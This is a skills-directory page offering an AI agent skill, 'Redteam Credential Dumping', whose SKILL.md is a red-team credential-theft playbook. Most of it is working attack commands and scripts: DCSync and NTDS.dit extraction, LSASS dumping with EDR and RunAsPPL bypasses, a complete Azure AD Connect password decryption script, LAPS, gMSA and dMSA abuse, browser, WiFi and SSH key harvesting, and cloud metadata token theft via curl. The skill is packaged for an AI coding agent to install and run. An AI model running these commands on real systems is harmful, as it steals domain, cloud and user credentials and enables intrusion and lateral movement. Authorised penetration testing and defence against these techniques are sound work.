Skip to content
Back to skills

Redteam Credential Dumping

FSecurity

Comprehensive credential extraction across Active Directory, local systems, cloud services, and application stores. Covers DCSync replication via Mimikatz and secretsdump, NTDS.dit offline extraction (VSS shadow copy, diskshadow, ntdsutil), SAM and LSA secrets harvesting, Azure AD Connect (ADSync) database decryption, LAPS password retrieval (legacy ms-Mcs-AdmPwd and Windows LAPS ms-LAPS-EncryptedPassword), Group Managed Service Account (gMSA) password extraction including GoldenGMSA persiste...

  • 16 stars
  • 0 votes
  • 0 copies
  • 4 views
  • Added November 17, 2026
securitypythonrustgoc#shellbashsqlnodeawsgcp

Works with

  • cli
  • api

Security analysis

F34/100
  • mediumUses curl or wget to download content
  • criticalAccesses sensitive system or user directories
  • criticalAccesses sensitive system or user directories
  • criticalReads or references SSH private keys
  • criticalReads or references SSH private keys
  • criticalReads or references SSH private keys

Pro shows the line behind each finding and how to fix it

Scanned November 17, 2026

npx -y skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill redteam-credential-dumping --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Redteam Credential Dumping?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Redteam Credential Dumping
[![Security: F — Skills Directory](https://www.skillsdirectory.com/api/skills/anandjogawade-redteam-credential-dumping/badge)](https://www.skillsdirectory.com/skills/anandjogawade-redteam-credential-dumping)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: redteam-credential-dumping
description: Comprehensive credential extraction across Active Directory, local systems, cloud services, and application stores. Covers DCSync replication via Mimikatz and secretsdump, NTDS.dit offline extraction (VSS shadow copy, diskshadow, ntdsutil), SAM and LSA secrets harvesting, Azure AD Connect (ADSync) database decryption, LAPS password retrieval (legacy ms-Mcs-AdmPwd and Windows LAPS ms-LAPS-EncryptedPassword), Group Managed Service Account (gMSA) password extraction including GoldenGMSA persistence via KDS root key, Delegated Managed Service Account (dMSA) exploitation via BadSuccessor (CVE-2025-21293), Directory Services Restore Mode (DSRM) credential abuse, EFS-encrypted file decryption through DPAPI backup key recovery, LSASS memory dumping (comsvcs.dll, ProcDump, NanoDump, MalSecLogon, HandleKatz), LSA Protection (RunAsPPL) bypass (PPLdump, PPLKiller, mirrordump), cached domain credentials (MSCACHE2/DCC2), Kerberos ticket extraction, shadow credentials (msDS-KeyCredentialLink)
keywords:
- DCSync
- secretsdump
- NTDS.dit
- SAM dump
- Azure AD Connect
- ADSync
- DPAPI
- LAPS password
- gMSA password
- dMSA
- BadSuccessor
- DSRM
- LSASS dump
- comsvcs.dll
- NanoDump
- PPLdump
- RunAsPPL bypass
- Kerberos ticket
- shadow credentials
- UnPAC-the-Hash
- GPP password
- cpassword
- credential dump
- browser credentials
- WiFi password
- SSH key
- cloud credentials
- GoldenGMSA
- EFS
- DPAPI backup key
- KDS root key
- cached credentials
- MSCACHE2
- DCC2
- MalSecLogon
- HandleKatz
- mimikatz
- hashdump
tools:
- secretsdump.py
- mimikatz
- netexec
- bloodyAD
- gMSADumper
- Rubeus
- Certify
- pypykatz
- NanoDump
- PPLdump
- SharpDPAPI
opsec: medium
---

# Credential Dumping — Full Extraction Methodology

Credential harvesting is the backbone of lateral movement and domain dominance.
This skill covers every major credential store across Windows, Active Directory,
cloud, and application layers. Each technique includes prerequisites, execution
commands, output parsing, OPSEC impact, and defender detection indicators.

Kerberos-first authentication applies to all remote operations. Obtain a TGT
before any extraction to avoid NTLM detection signatures.

```bash
# Establish Kerberos authentication
getTGT.py DOMAIN/user@DC.DOMAIN.LOCAL -hashes :NTHASH
export KRB5CCNAME=user.ccache
# All subsequent commands use -k -no-pass or --use-kcache
```

## Quick Workflow

1. Determine current privilege level and available credential stores.
2. Start with the highest-value, lowest-noise technique available.
3. Extract credentials using the appropriate method for each store.
4. Parse and validate extracted hashes and passwords.
5. Use recovered credentials for privilege escalation or lateral movement.
6. Document every extraction with timestamps and evidence.

---

## Access Assessment Matrix

| Privilege Level | Credential Stores Available | Priority |
|----------------|---------------------------|----------|
| Domain Admin / DC admin | DCSync, NTDS.dit, LAPS, gMSA, DSRM, all SAM | Start with DCSync |
| Replication rights only | DCSync (single user or full) | Targeted DCSync first |
| Azure AD Connect host admin | ADSync database (connector account) | May yield DA creds |
| Local admin on workstation | SAM hive, LSASS memory, cached creds, browser stores | SAM + LSASS |
| LAPS read permission | Local admin password for target computer | Low noise |
| gMSA reader | Managed service account password | Low noise |
| GenericWrite on dMSA | Delegated MSA password via BadSuccessor | High noise |
| Standard domain user | Kerberoast, GPP passwords, SYSVOL search | No admin needed |

```bash
# Verify replication permissions
bloodyAD -k -no-pass get writable --right 'REPLICATION' --detail

# Quick test with a single account
secretsdump.py -k -no-pass -just-dc-user krbtgt DOMAIN/user@DC.DOMAIN.LOCAL
```

---

## 1. DCSync — Domain Replication Attack

Simulates DC replication to pull credential data directly from the domain
controller's directory database over the DRSUAPI protocol.

### Requirements
- DS-Replication-Get-Changes AND DS-Replication-Get-Changes-All
- Held by: Domain Admins, Enterprise Admins, DC machine accounts, explicitly granted accounts

### Full Domain Extraction

```bash
# Pull every hash from the domain (users, machines, krbtgt)
secretsdump.py -k -no-pass DOMAIN/user@DC.DOMAIN.LOCAL
# Output: username:RID:lmhash:nthash::: plus AES keys and cleartext if reversible

# NetExec equivalent
nxc smb DC.DOMAIN.LOCAL --use-kcache --ntds

# Check feasibility before full dump
nxc smb DC.DOMAIN.LOCAL --use-kcache -M dcsync
```

### Targeted Extraction (Preferred for OPSEC)

```bash
# Single high-value account — fewer detection events
secretsdump.py -k -no-pass -just-dc-user krbtgt DOMAIN/user@DC.DOMAIN.LOCAL
secretsdump.py -k -no-pass -just-dc-user Administrator DOMAIN/user@DC.DOMAIN.LOCAL

# NTLM hashes only (skip Kerberos keys and cleartext)
secretsdump.py -k -no-pass -just-dc-ntlm DOMAIN/user@DC.DOMAIN.LOCAL
```

### Mimikatz DCSync (From Windows Host)

```
# Single account
lsadump::dcsync /domain:DOMAIN.LOCAL /user:krbtgt

# Full domain export
lsadump::dcsync /domain:DOMAIN.LOCAL /all /csv
```

### Granting DCSync Rights (Privilege Escalation Path)

```bash
# If you have WriteDACL on the domain root, grant yourself replication rights
bloodyAD -k -no-pass add dcsync DOMAIN/attacker_user

# Or via PowerView
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" -PrincipalIdentity attacker -Rights DCSync
```

### Detection Indicators
- Event 4662: directory service access with replication GUIDs (1131f6aa/1131f6ad)
- Event 4928/4929: replication source/destination established
- CrowdStrike, MDI detect DRSUAPI replication from non-DC sources
- Targeted DCSync generates fewer events than full extraction

---

## 2. NTDS.dit Offline Extraction

Physical extraction of the AD database file for offline hash parsing.
Required when DCSync is not feasible or when you need a complete offline copy.

### Method A: Impacket VSS (Automated Remote)

```bash
# Creates VSS shadow, copies NTDS.dit + SYSTEM hive, extracts, cleans up
secretsdump.py -k -no-pass -use-vss DOMAIN/user@DC.DOMAIN.LOCAL
```

### Method B: diskshadow (Manual on DC)

```powershell
# Create shadow copy via diskshadow
$script = @"
set context persistent nowriters
add volume C: alias cdrive
create
expose %cdrive% Z:
"@
$script | Out-File C:\Windows\Temp\shadow.txt
diskshadow.exe /s C:\Windows\Temp\shadow.txt

# Extract from shadow
copy Z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit
copy Z:\Windows\System32\config\SYSTEM C:\temp\SYSTEM

# Cleanup shadow
diskshadow.exe
> unexpose Z:
> delete shadows volume C:
> exit
```

### Method C: ntdsutil Install From Media

```powershell
# Creates a portable copy of NTDS.dit with matching SYSTEM hive
ntdsutil.exe "ac i ntds" "ifm" "create full C:\temp\ntds-backup" "quit" "quit"

# Output:
# C:\temp\ntds-backup\Active Directory\ntds.dit
# C:\temp\ntds-backup\registry\SYSTEM
```

### Method D: vssadmin Shadow Copy

```powershell
vssadmin create shadow /for=C:
# Note the shadow copy device name from output
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM
```

### Offline Hash Parsing

```bash
# Parse extracted files on attacker machine
secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL
# Outputs all domain accounts in user:RID:lmhash:nthash format

# pypykatz alternative
pypykatz registry --sam SAM --security SECURITY --system SYSTEM
```

### Detection Indicators
- Event 8222: VSS shadow copy creation
- Event 325: database engine detached (ntdsutil)
- Sysmon file creation events for ntds.dit copy
- Large file exfiltration from DC

---

## 3. LSASS Memory Extraction

Dump the Local Security Authority Subsystem Service process to extract
plaintext passwords, NTLM hashes, and Kerberos tickets from memory.

### Method A: comsvcs.dll MiniDump (Living Off the Land)

```powershell
# Find LSASS PID
$pid = (Get-Process lsass).Id

# Dump via comsvcs.dll — no external tools needed
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $pid C:\Windows\Temp\lsass.dmp full
```

### Method B: ProcDump (Sysinternals — Signed by Microsoft)

```powershell
# ProcDump is a legitimate Microsoft tool — less likely to be blocked
procdump.exe -ma lsass.exe C:\Windows\Temp\lsass.dmp -accepteula
```

### Method C: NanoDump (Stealthy — Direct Syscalls)

```bash
# NanoDump uses direct syscalls to avoid EDR hooks
# Creates a minidump without calling MiniDumpWriteDump
nanodump.exe --write C:\Windows\Temp\lsass.dmp

# In-memory variant (no file on disk)
nanodump.exe --fork --duplicate

# As a Beacon Object File (BOF) — in-memory, no fork
nanodump_bof --write C:\Temp\dump.dmp
```

### Method D: MalSecLogon (Abuses CreateProcessWithLogonW)

```
# Duplicates LSASS handle through secondary logon service
# No direct LSASS access — bypasses handle access monitoring
MalSecLogon.exe
```

### Method E: HandleKatz (Handle Duplication)

```
# Duplicates existing handles to LSASS instead of opening new ones
# Evades handle-open detection by most EDR products
HandleKatz.exe --pid <LSASS_PID>
```

### Method F: Silent Process Exit / WER Abuse

```powershell
# Configure Windows Error Reporting to dump LSASS on crash
# Then trigger a controlled exception in LSASS
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe" /v GlobalFlag /t REG_DWORD /d 0x200 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe" /v ReportingMode /t REG_DWORD /d 2 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe" /v LocalDumpFolder /t REG_SZ /d "C:\temp" /f
# Dump created when process exit conditions are met
```

### Method G: Task Manager (GUI — Stealth)

```
# If you have RDP access with admin rights:
# Task Manager → Details → right-click lsass.exe → Create Dump File
# Dump saved to: C:\Users\<user>\AppData\Local\Temp\lsass.DMP
```

### Method H: Mimikatz (Classic)

```
# From Mimikatz console
sekurlsa::logonpasswords
# Outputs: plaintext passwords, NTLM hashes, Kerberos tickets

# Or dump to file
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
```

### Parsing LSASS Dumps Offline

```bash
# pypykatz — parse minidump on Linux
pypykatz lsa minidump lsass.dmp

# Mimikatz — parse minidump on Windows
sekurlsa::minidump C:\temp\lsass.dmp
sekurlsa::logonpasswords
```

### LSA Protection (RunAsPPL) Bypass

When LSASS runs as a Protected Process Light, standard dump methods fail.

```bash
# PPLdump — exploits LSASS PPL via KNOWN_DLLs section hijack
PPLdump.exe lsass.exe C:\temp\lsass.dmp

# PPLKiller — loads a vulnerable driver to remove PPL flag
PPLKiller.exe /installDriver
PPLKiller.exe /disablePPL lsass

# mirrordump — SSP-based dump without opening LSASS handle
mirrordump.exe

# PPLmedic — uses WSUS to inject into LSASS PPL
PPLmedic.exe dump lsass
```

### Detection Indicators
- Event 4656/4663: LSASS handle access
- Sysmon Event 10: process access to lsass.exe
- comsvcs.dll loading in non-standard context
- ProcDump command-line signatures
- EDR kernel callbacks monitoring LSASS access patterns

---

## 4. SAM Hive and LSA Secrets

Local machine credential stores containing local account hashes and
domain-cached credentials.

### Remote SAM Extraction

```bash
# Full extraction: SAM + LSA secrets + cached domain logons
secretsdump.py -k -no-pass DOMAIN/user@TARGET.DOMAIN.LOCAL

# NetExec variants
nxc smb TARGET --use-kcache --sam           # Local account hashes
nxc smb TARGET --use-kcache --lsa           # LSA secrets (service passwords, cached creds)
nxc smb TARGET --use-kcache --dpapi         # DPAPI credentials
```

### Manual Registry Save

```powershell
# Requires SYSTEM or local admin
reg save HKLM\SAM C:\temp\sam.save
reg save HKLM\SYSTEM C:\temp\system.save
reg save HKLM\SECURITY C:\temp\security.save

# Exfiltrate and parse offline
secretsdump.py -system system.save -sam sam.save -security security.save LOCAL
```

### What Each Store Contains
- **SAM**: local user accounts (Administrator RID 500, custom locals)
- **LSA Secrets**: service account passwords, auto-logon credentials, DPAPI machine keys
- **SECURITY (cached creds)**: DCC2/MSCACHE2 hashes of last 10 domain logons
- **Note**: SAM never contains domain user hashes — those live in NTDS.dit

### Cached Domain Credentials (DCC2/MSCACHE2)

```bash
# Extracted automatically by secretsdump.py from SECURITY hive
# Format: username:hash (DCC2 format)
# Crack with hashcat mode 2100
hashcat -m 2100 cached_creds.txt wordlist.txt
```

---

## 5. Azure AD Connect (ADSync) Credential Extraction

The ADSync database stores encrypted connector account credentials. The
on-premises AD connector often runs as a domain admin or account with
DCSync rights — extracting its password can yield domain-wide access.

### Identification

```powershell
# Service indicators
Get-Service | Where-Object {$_.Name -like '*ADSync*'}
Get-ADUser -Filter {SamAccountName -like 'AAD_*' -or SamAccountName -like 'MSOL_*'}
Test-Path "C:\Program Files\Microsoft Azure AD Sync\"
```

### Database Location

```powershell
# Full SQL Server instance (most reliable from WinRM)
sqlcmd -S $env:COMPUTERNAME -Q "SELECT name FROM sys.databases" -E

# LocalDB variants (may fail from WinRM due to profile restrictions)
sqlcmd -S "(localdb)\.ADSync" -Q "SELECT name FROM sys.databases" -E
sqlcmd -S "(localdb)\.ADSync2019" -Q "SELECT name FROM sys.databases" -E
```

### Credential Extraction Script

```powershell
# decrypt_adsync.ps1 — requires shell on ADSync host + SQL access
Add-Type -Path "C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll"

$conn = New-Object System.Data.SqlClient.SqlConnection
$conn.ConnectionString = "Server=$env:COMPUTERNAME;Database=ADSync;Integrated Security=True"
$conn.Open()

# Retrieve keying material
$cmd = $conn.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$keysetId = $reader.GetInt32(0)
$instanceId = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()

# Extract and decrypt each connector
$cmd2 = $conn.CreateCommand()
$cmd2.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent"
$reader2 = $cmd2.ExecuteReader()
while ($reader2.Read()) {
    $config = $reader2.GetString(0)
    $encrypted = $reader2.GetString(1)

    $km = New-Object Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
    $km.LoadKeySet($entropy, $instanceId, $keysetId)
    $key = $null
    $km.GetActiveCredentialKey([ref]$key)
    $plaintext = $null
    $key.DecryptBase64ToString($encrypted, [ref]$plaintext)

    $domain = ([xml]$config).SelectSingleNode("//parameter[@name='forest-login-domain']").text
    $username = ([xml]$config).SelectSingleNode("//parameter[@name='forest-login-user']").text
    if (-not $username) { $username = "AAD Connector"; $domain = "Azure AD" }

    Write-Host "[+] Domain: $domain | User: $username | Password: $plaintext"
}
$reader2.Close()
$conn.Close()
```

### Extracted Accounts
1. **On-premises AD connector** — domain account with sync rights (often DA or DCSync-capable)
2. **AAD connector** — Azure AD tenant account (Sync_HOSTNAME_hex@tenant.onmicrosoft.com)

If the AD connector has replication rights, use the extracted password for DCSync.

---

## 6. LAPS Password Retrieval

### Legacy LAPS (ms-Mcs-AdmPwd)

Plaintext local admin password stored as an AD attribute on computer objects.

```bash
# NetExec — reads both legacy and Windows LAPS
nxc ldap DC.DOMAIN.LOCAL --use-kcache --laps

# bloodyAD
bloodyAD -k -no-pass get object 'TARGET$' --attr ms-Mcs-AdmPwd

# Find all LAPS-managed computers
bloodyAD -k -no-pass get search --filter '(ms-Mcs-AdmPwdExpirationTime=*)' \
    --attr sAMAccountName,ms-Mcs-AdmPwd

# Identify who can read LAPS passwords
bloodyAD -k -no-pass get writable --right 'READ' \
    --filter '(ms-Mcs-AdmPwdExpirationTime=*)' --detail
```

```powershell
# PowerView
Get-DomainComputer TARGET -Properties ms-Mcs-AdmPwd

# AD module
Get-ADComputer TARGET -Properties ms-Mcs-AdmPwd | Select ms-Mcs-AdmPwd
```

### Windows LAPS (Server 2019+ with KB5025229)

New attributes with optional encryption: `msLAPS-Password`, `msLAPS-EncryptedPassword`.

```bash
nxc ldap DC.DOMAIN.LOCAL --use-kcache --laps
bloodyAD -k -no-pass get object 'TARGET$' --attr msLAPS-Password
bloodyAD -k -no-pass get object 'TARGET$' --attr msLAPS-EncryptedPassword
```

```powershell
Get-LapsADPassword -Identity TARGET -AsPlainText
```

---

## 7. gMSA Password Extraction

Group Managed Service Accounts use automatic password rotation managed by AD.

### Authorized Read

```bash
# If your account is in PrincipalsAllowedToRetrieveManagedPassword
nxc ldap DC.DOMAIN.LOCAL --use-kcache --gmsa
bloodyAD -k -no-pass get object 'gMSA_SVC$' --attr msDS-ManagedPassword
python3 gMSADumper.py -k -no-pass -d DOMAIN.LOCAL
```

```powershell
$gmsa = Get-ADServiceAccount -Identity gMSA_SVC -Properties msDS-ManagedPassword
$blob = $gmsa.'msDS-ManagedPassword'
$mp = ConvertFrom-ADManagedPasswordBlob $blob
$mp.SecureCurrentPassword | ConvertFrom-SecureString -AsPlainText
```

### Enumeration

```bash
# Find all gMSA accounts and their authorized readers
bloodyAD -k -no-pass get search \
    --filter '(objectClass=msDS-GroupManagedServiceAccount)' \
    --attr sAMAccountName,msDS-GroupMSAMembership
```

### GoldenGMSA — Persistent Access via KDS Root Key

Extract the KDS root key to compute any gMSA password offline, even after rotation.

```bash
# Extract KDS root key (requires DA)
bloodyAD -k -no-pass get object \
    "CN=Master Root Keys,CN=Group Key Distribution Service,CN=Services,CN=Configuration,DC=domain,DC=local" \
    --attr msKds-RootKeyData

# Compute gMSA password from extracted key material
python3 GoldenGMSA.py compute --sid S-1-5-21-...-1234 --kds-key BASE64_KDS_KEY
```

---

## 8. dMSA Exploitation — BadSuccessor (CVE-2025-21293)

Delegated Managed Service Accounts (Windows Server 2025+) can be exploited
by writing to the successor attribute.

### Prerequisites
- GenericWrite or WriteProperty on a dMSA object
- dMSA feature enabled in the domain

```bash
# Find dMSA accounts
bloodyAD -k -no-pass get search \
    --filter '(objectClass=msDS-DelegatedManagedServiceAccount)' \
    --attr sAMAccountName,msDS-ManagedPasswordId

# Check write permissions
bloodyAD -k -no-pass get writable \
    --filter '(objectClass=msDS-DelegatedManagedServiceAccount)' --detail

# Set attacker as successor
bloodyAD -k -no-pass set object 'dMSA_SVC$' \
    msDS-ManagedPasswordId -v ATTACKER_MACHINE_SID

# Retrieve the managed password
bloodyAD -k -no-pass get object 'dMSA_SVC$' --attr msDS-ManagedPassword
```

### Detection: Event 5136 (object modification) on dMSA objects.

---

## 9. DSRM Credential Abuse

Directory Services Restore Mode provides a local recovery password on DCs.

```powershell
# Check if DSRM network logon is enabled (value 2 = network logon allowed)
Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DsrmAdminLogonBehavior
```

```bash
# Extract DSRM hash via secretsdump (from LSA secrets)
secretsdump.py -k -no-pass DOMAIN/admin@DC.DOMAIN.LOCAL

# Mimikatz extraction
lsadump::lsa /patch
# DSRM Administrator hash appears in output
```

```bash
# If DsrmAdminLogonBehavior = 2, authenticate via DSRM hash
secretsdump.py -hashes :DSRM_HASH 'DC_HOSTNAME/Administrator@DC_IP'
psexec.py -hashes :DSRM_HASH 'DC_HOSTNAME/Administrator@DC_IP'
```

### Persistence: set DsrmAdminLogonBehavior to 2 for persistent DC access via local hash.

---

## 10. Shadow Credentials (msDS-KeyCredentialLink)

Abuse certificate-based authentication by writing a key credential to a
target account, then authenticating with the corresponding private key.

### Prerequisites
- GenericWrite or WriteProperty on target user/computer object
- ADCS or key trust authentication configured in the domain

```bash
# Add shadow credential to target
certipy shadow auto -u attacker@domain.local -p pass -account target_user

# Or with Whisker (C#)
Whisker.exe add /target:target_user /domain:domain.local /dc:DC.domain.local

# Authenticate with the generated certificate
certipy auth -pfx target_user.pfx -dc-ip DC_IP

# Output: NTLM hash of target_user (UnPAC-the-Hash)
```

### UnPAC-the-Hash

After obtaining a certificate for a user via shadow credentials or ADCS abuse,
recover the NTLM hash from the PAC in the TGT.

```bash
# Request TGT with certificate, extract NTLM from PAC
certipy auth -pfx admin.pfx -dc-ip DC_IP
# Output includes NT hash

# Rubeus equivalent
Rubeus.exe asktgt /user:admin /certificate:admin.pfx /getcredentials /show /nowrap
```

---

## 11. Kerberos Ticket Extraction

### From LSASS Memory

```
# Mimikatz — export all tickets
kerberos::list /export
# Saves .kirbi files for each ticket

# Rubeus — dump all tickets
Rubeus.exe dump /nowrap
Rubeus.exe triage
```

### From Linux ccache

```bash
# Tickets stored in KRB5CCNAME file
klist
# Copy the ccache file for later use
cp /tmp/krb5cc_1000 ./stolen.ccache
export KRB5CCNAME=stolen.ccache
```

### Convert Formats

```bash
# kirbi (Windows) to ccache (Linux)
ticketConverter.py ticket.kirbi ticket.ccache

# ccache to kirbi
ticketConverter.py ticket.ccache ticket.kirbi
```

---

## 12. Browser and Application Credentials

### Chrome (Windows — DPAPI-encrypted)

```bash
# SharpChrome — decrypts Chrome credentials using DPAPI
SharpChrome.exe logins /unprotect

# Manual extraction
# Chrome stores in: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data (SQLite)
# Encrypted with DPAPI — requires user context or DPAPI master key

# NetExec browser credential dump
nxc smb TARGET --use-kcache -M chromium
```

### Firefox

```bash
# Firefox credentials in: %APPDATA%\Mozilla\Firefox\Profiles\*.default\logins.json + key4.db
# firepwd.py — decrypt Firefox credentials
python3 firepwd.py -d /path/to/firefox/profile

# LaZagne — multi-browser extraction
lazagne.exe browsers
```

### Edge (Chromium-based — same as Chrome)

```bash
# Edge uses same DPAPI encryption as Chrome
# Located: %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data
SharpChrome.exe logins /unprotect /browser:edge
```

---

## 13. WiFi Password Extraction

```powershell
# List saved WiFi profiles
netsh wlan show profiles

# Extract password for specific network
netsh wlan show profile name="NETWORK_NAME" key=clear

# Bulk extraction — all saved WiFi passwords
(netsh wlan show profiles) | Select-String "\:(.+)$" | ForEach-Object {
    $name = $_.Matches.Groups[1].Value.Trim()
    $pass = (netsh wlan show profile name="$name" key=clear) | Select-String "Key Content\W+\:(.+)$"
    if ($pass) { "$name : $($pass.Matches.Groups[1].Value.Trim())" }
}
```

---

## 14. SSH Key Harvesting

```bash
# Search for SSH private keys on compromised hosts
find / -name "id_rsa" -o -name "id_ed25519" -o -name "id_ecdsa" 2>/dev/null
find / -name "*.pem" -o -name "*.key" 2>/dev/null

# Windows locations
dir /s /b C:\Users\*\.ssh\id_* 2>nul
dir /s /b C:\Users\*\.ssh\*.pem 2>nul

# Check for SSH agent forwarding (hijack from memory)
# Linux: SSH_AUTH_SOCK environment variable
ls -la /tmp/ssh-*/agent.*
# If accessible, use the socket to authenticate without the key
SSH_AUTH_SOCK=/tmp/ssh-XXXX/agent.YYYY ssh user@target
```

---

## 15. Group Policy Preferences (GPP) Passwords

Microsoft published the AES-256 key used to encrypt GPP passwords (MS14-025),
making all GPP credentials trivially decryptable.

```bash
# Automated extraction
Get-GPPPassword.py -k -no-pass DOMAIN/user@DC.DOMAIN.LOCAL
nxc smb DC.DOMAIN.LOCAL --use-kcache -M gpp_password
nxc smb DC.DOMAIN.LOCAL --use-kcache -M gpp_autologin

# Manual SYSVOL search
findstr /S /I cpassword \\\\DOMAIN.LOCAL\\SYSVOL\\DOMAIN.LOCAL\\Policies\\*.xml
# Look in: Groups.xml, Services.xml, Scheduledtasks.xml, DataSources.xml, Drives.xml

# Decrypt manually (the key is public)
gpp-decrypt ENCRYPTED_CPASSWORD_VALUE
```

---

## 16. Credential Manager and Vault

```powershell
# List stored Windows credentials
cmdkey /list
vaultcmd /listcreds:"Windows Credentials" /all

# Mimikatz vault extraction
vault::list
vault::cred

# DPAPI credential extraction
dpapi::cred /in:"C:\Users\user\AppData\Local\Microsoft\Credentials\<GUID>"

# SharpDPAPI — comprehensive DPAPI extraction
SharpDPAPI.exe credentials
SharpDPAPI.exe machinetriage
```

### Autologon Credentials

```powershell
# Check registry for auto-logon passwords
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName

# Also in LSA secrets via secretsdump
# Look for DefaultPassword in secretsdump output
```

### Unattend.xml / Sysprep.inf

```powershell
# Common locations for deployment passwords
type C:\unattend.xml
type C:\Windows\Panther\Unattend.xml
type C:\Windows\Panther\unattend\Unattend.xml
type C:\Windows\System32\Sysprep\unattend.xml
type C:\Windows\System32\Sysprep\Panther\unattend.xml
# Base64-encoded passwords in <Password> and <AutoLogon> sections
```

---

## 17. Cloud Credential Extraction

### AWS

```bash
# EC2 instance metadata (from compromised EC2)
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME

# AWS credentials on disk
cat ~/.aws/credentials
cat ~/.aws/config
# Environment variables
env | grep AWS_

# AWS SSM Parameter Store secrets
aws ssm get-parameters-by-path --path / --recursive --with-decryption
```

### Azure

```bash
# Azure IMDS token (from compromised Azure VM)
curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# Azure CLI cached tokens
cat ~/.azure/accessTokens.json
cat ~/.azure/azureProfile.json

# Managed identity token from Azure services
curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net"
```

### GCP

```bash
# GCP metadata server
curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# Service account key files
find / -name "*.json" -exec grep -l "private_key" {} \; 2>/dev/null
cat ~/.config/gcloud/application_default_credentials.json
```

---

## 18. IIS Application Pool Credentials

```powershell
# Extract IIS app pool identities (may contain service account passwords)
Import-Module WebAdministration
Get-IISAppPool | Select-Object Name, @{N='User';E={$_.ProcessModel.UserName}}, @{N='Pass';E={$_.ProcessModel.Password}}

# Or via appcmd
C:\Windows\System32\inetsrv\appcmd.exe list apppool /text:*

# Decrypt stored passwords
# IIS stores passwords encrypted with machine DPAPI — extract via secretsdump LSA secrets
```

---

## 19. EFS-Encrypted File Decryption

PTH sessions (WinRM, psexec) cannot access EFS-encrypted files because they
do not load the user's DPAPI keychain. A real interactive logon is required.

### Scheduled Task Bypass (Creates Real Logon Session)

```cmd
schtasks /create /tn "efs_read" /tr "cmd /c type C:\Users\target\secret.txt > C:\Windows\Temp\out.txt" /sc once /st 00:00 /ru DOMAIN\user /rp "password" /f
schtasks /run /tn "efs_read"
timeout /t 3
type C:\Windows\Temp\out.txt
schtasks /delete /tn "efs_read" /f
del C:\Windows\Temp\out.txt
```

### RDP Alternative

```bash
# RDP creates full interactive logon — DPAPI loads automatically
xfreerdp /v:TARGET /u:DOMAIN\\user /p:'password' /cert-ignore
```

### DPAPI Backup Key (Domain-Wide Decryption)

```bash
# Extract domain DPAPI backup key via DCSync
secretsdump.py -k -no-pass DOMAIN/admin@DC
# Backup key in DPAPI_SYSTEM section

# Use SharpDPAPI with backup key for domain-wide credential/file decryption
SharpDPAPI.exe backupkey /file:key.pvk /server:DC.DOMAIN.LOCAL
SharpDPAPI.exe machinetriage /pvk:key.pvk
```

---

## 20. Living Off the Land — Credential Access Without Tools

### No External Tools Needed

```powershell
# Registry stored passwords
reg query HKLM /f password /t REG_SZ /s 2>nul
reg query HKCU /f password /t REG_SZ /s 2>nul

# Saved credentials (runas /savecred)
cmdkey /list
# If credentials saved: runas /savecred /user:DOMAIN\admin cmd.exe

# PowerShell transcript/history mining
Get-ChildItem C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt -ErrorAction SilentlyContinue | Get-Content

# IIS web.config connection strings
Get-ChildItem C:\inetpub -Recurse -Include web.config | Select-String -Pattern "connectionString|password"

# Scheduled task with credentials
schtasks /query /fo LIST /v | findstr /i "run as\|task to run"

# Service account passwords in registry
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Services\*" | Where-Object {$_.ObjectName -and $_.ObjectName -ne "LocalSystem"} | Select-Object PSChildName, ObjectName

# .env files, config files, scripts with hardcoded credentials
Get-ChildItem C:\Users -Recurse -Include *.env,*.config,*.xml,*.ini,*.txt -ErrorAction SilentlyContinue | Select-String -Pattern "password|passwd|pwd|secret|key|token" -CaseSensitive:$false
```

---

## OPSEC Comparison Table

| Technique | Noise Level | Detection Events | Notes |
|-----------|------------|-----------------|-------|
| DCSync (targeted) | Medium | 4662 (repl GUIDs) | Single account = fewer events |
| DCSync (full) | Medium | 4662, 4928/4929 | Many replication events |
| NTDS extraction | High | 8222, 325, file access | Large file, shadow copy artifacts |
| LSASS dump (comsvcs) | Medium | Sysmon 10, 4656/4663 | LOLBin but monitored |
